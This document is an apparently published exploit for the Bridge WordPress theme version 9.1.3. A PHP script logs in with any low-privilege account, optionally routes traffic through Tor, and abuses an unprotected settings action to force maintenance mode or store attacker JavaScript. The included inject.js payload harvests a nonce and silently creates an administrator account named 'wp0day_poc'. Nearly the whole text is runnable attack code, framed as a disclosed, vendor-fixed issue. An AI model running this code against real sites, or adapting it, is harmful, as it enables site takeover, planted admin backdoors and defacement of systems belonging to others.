WordPress Theme Creative Multi-Purpose 9.1.3 - Persistent Cross-Site Scripting

<?php
/**
 * Exploit Titie: Bridge - Creative Multi-Purpose WordPress Theme  Exploit
 * Google Dork:
 * Exploit Author: wp0Day.com <contact@wp0day.com>
 * Vendor Homepage: http://bridge.qodeinteractive.com/
 * Software Link: http://themeforest.net/item/bridge-creative-multipurpose-wordpress-theme/7315054
 * Version: 9.1.3
 * Tested on: Debian 8, PHP 5.6.17-3
 * Type: Stored XSS, Ability to overwrite any theme settings.
 * Time line: Found [23-Apr-2016], Vendor notified [23-Apr-2016], Vendor fixed: [Yes], [RD:1]
 */


require_once('curl.php');
//OR
//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
$curl = new CurlWrapper();


$options = getopt("t:m:u:p:f:c:",array('tor:'));
print_r($options);
$options = validateInput($options);

if (!$options){
    showHelp();
}

if ($options['tor'] === true)
{
    echo " ### USING TOR ###\n";
    echo "Setting TOR Proxy...\n";
    $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
    $curl->addOption(CURLOPT_PROXYTYPE,7);
    echo "Checking IPv4 Address\n";
    $curl->get('https://dynamicdns.park-your-domain.com/getip');
    echo "Got IP : ".$curl->getResponse()."\n";
    echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
    $answer = fgets(fopen ("php://stdin","r"));
    if(trim($answer) != 'wololo'){
        die("Aborting!\n");
    }
    echo "OK...\n";
}


function logIn(){
    global $curl, $options;
    file_put_contents('cookies.txt',"\n");
    $curl->setCookieFile('cookies.txt');
    $curl->get($options['t']);
    $data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');
    $curl->post($options['t'].'/wp-login.php', $data);
    $status =  $curl->getTransferInfo('http_code');
    if ($status !== 302){
        echo "Login probably failed, aborting...\n";
        echo "Login response saved to login.html.\n";
        die();
    }
    file_put_contents('login.html',$curl->getResponse());


}


function exploit(){
    global $curl, $options;

    switch ($options['m']){
        case 'm' :
                //Maintanence mode
                echo "Putting site in maintenece mode\n";
                $data = array('action' => 'qodef_save_options', 'qode_maintenance_mode'=>'yes');
                $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
                $resp = $curl->getResponse();
                echo "Response: ".$resp."\n";
            break;
        case 'x' :
                //XSS Mode, create extra admin
                echo "Injecting inject.js \n";
                $data = array('action' => 'qodef_save_options', 'custom_js'=>file_get_contents(dirname(__FILE__)."/inject.js"));
                $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
                $resp = $curl->getResponse();
                echo "Response: ".$resp."\n";

            break;
    }



}



logIn();
exploit();


function validateInput($options){

    if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
        return false;
    }
    if ( !isset($options['u']) ){
        return false;
    }
    if ( !isset($options['p']) ){
        return false;
    }
    if (!preg_match('~/$~',$options['t'])){
        $options['t'] = $options['t'].'/';
    }
    if (!isset($options['m']) || !in_array($options['m'], array('m','x') ) ){
        return false;
    }
    $options['tor'] = isset($options['tor']);

    return $options;
}


function showHelp(){
    global $argv;
    $help = <<<EOD

    Bridge Theme Exploit, Stored XSS, Create Admin account.

Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USERNAME] -p [PASSWORD] -m [MODE]

       *** You need to have a valid login (customer or subscriber will do) in order to use this "exploit" **

       [TARGET_URL] http://localhost/wordpress/
       [MODE] x - Permanent XSS DEMO, m - Maintenance Mode

Examples:
       php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -m x
       php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -m m

    Misc:
           CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
           @link http://github.com/svyatov/CurlWrapper
           @license http://www.opensource.org/licenses/mit-license.html MIT License

EOD;
    echo $help."\n\n";
    die();
}

?>
inject.js
});

//Get Token
var domain = location.protocol+'//'+document.domain;
var url = domain+'/wp-admin/user-new.php';
var JQ = jQuery.noConflict();
JQ.ajax({
    "url": url,
    "success" : function(x){
        //Got the response
        console.log('Got response');
        var re = /name="_wpnonce_create-user"(\s+)value="([^"]+)"/g;
        var m = re.exec(x);
        if (m[2].match(/([a-z0-9]{10})/)) {
            var nonce = m[2];
            console.log('Got nonce '+nonce);
        }
        console.log('Registering, User: wp0day_poc, Pass: secret, Role: Admin ');
        JQ.ajax({
            "url": url,
            "method" : "POST",
            "data" :
                    { "action":"createuser",
                      "_wpnonce_create-user": nonce,
                      "_wp_http_referer" : "/wp-admin/user-new.php",
                      "user_login": "wp0day_poc",
                      "email" : "contact@wp0day.com",
                      "first_name" : "Exploit",
                      "last_name" : "Poc",
                      "url" : "http://wp0day.com/",
                      "pass1" : "secret",
                      "pass1-text" : "secret",
                      "pass2" : "secret",
                      "send_user_notification" : 0,
                      "role":"administrator",
                      "createuser" : "Add+New+User"
                      },
            "success" : function(x){
                console.log("Register done");
            }
        });

    }
});



$j(document).ready(function(){